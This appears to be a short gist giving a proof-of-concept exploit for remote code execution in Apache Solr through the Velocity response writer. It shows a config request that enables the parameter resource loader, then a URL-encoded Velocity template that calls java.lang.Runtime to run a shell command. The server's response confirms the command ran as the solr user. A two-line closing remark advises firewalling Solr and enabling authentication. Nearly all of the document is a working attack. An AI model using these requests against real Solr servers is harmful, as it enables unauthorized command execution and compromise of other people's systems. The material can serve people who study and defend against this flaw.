Created
October 30, 2019 11:27
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Apache Solr RCE via Velocity template
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Apache Solr RCE via Velocity template | |
Set "params.resource.loader.enabled" as true. | |
Request: | |
======================================================================== | |
POST /solr/test/config HTTP/1.1 | |
Host: solr:8983 | |
Content-Type: application/json | |
Content-Length: 259 | |
{ | |
"update-queryresponsewriter": { | |
"startup": "lazy", | |
"name": "velocity", | |
"class": "solr.VelocityResponseWriter", | |
"template.base.dir": "", | |
"solr.resource.loader.enabled": "true", | |
"params.resource.loader.enabled": "true" | |
} | |
} | |
======================================================================== | |
RCE via velocity template | |
Request: | |
======================================================================== | |
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 | |
Host: localhost:8983 | |
======================================================================== | |
Response: | |
======================================================================== | |
HTTP/1.1 200 OK | |
Content-Type: text/html;charset=utf-8 | |
Content-Length: 56 | |
0 uid=8983(solr) gid=8983(solr) groups=8983(solr) | |
======================================================================== |
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A lot of doors are open if Solr is exposed outside of a trusted network and without administrative authentication.
It is recommended to firewall Solr and enable authentication for all requests.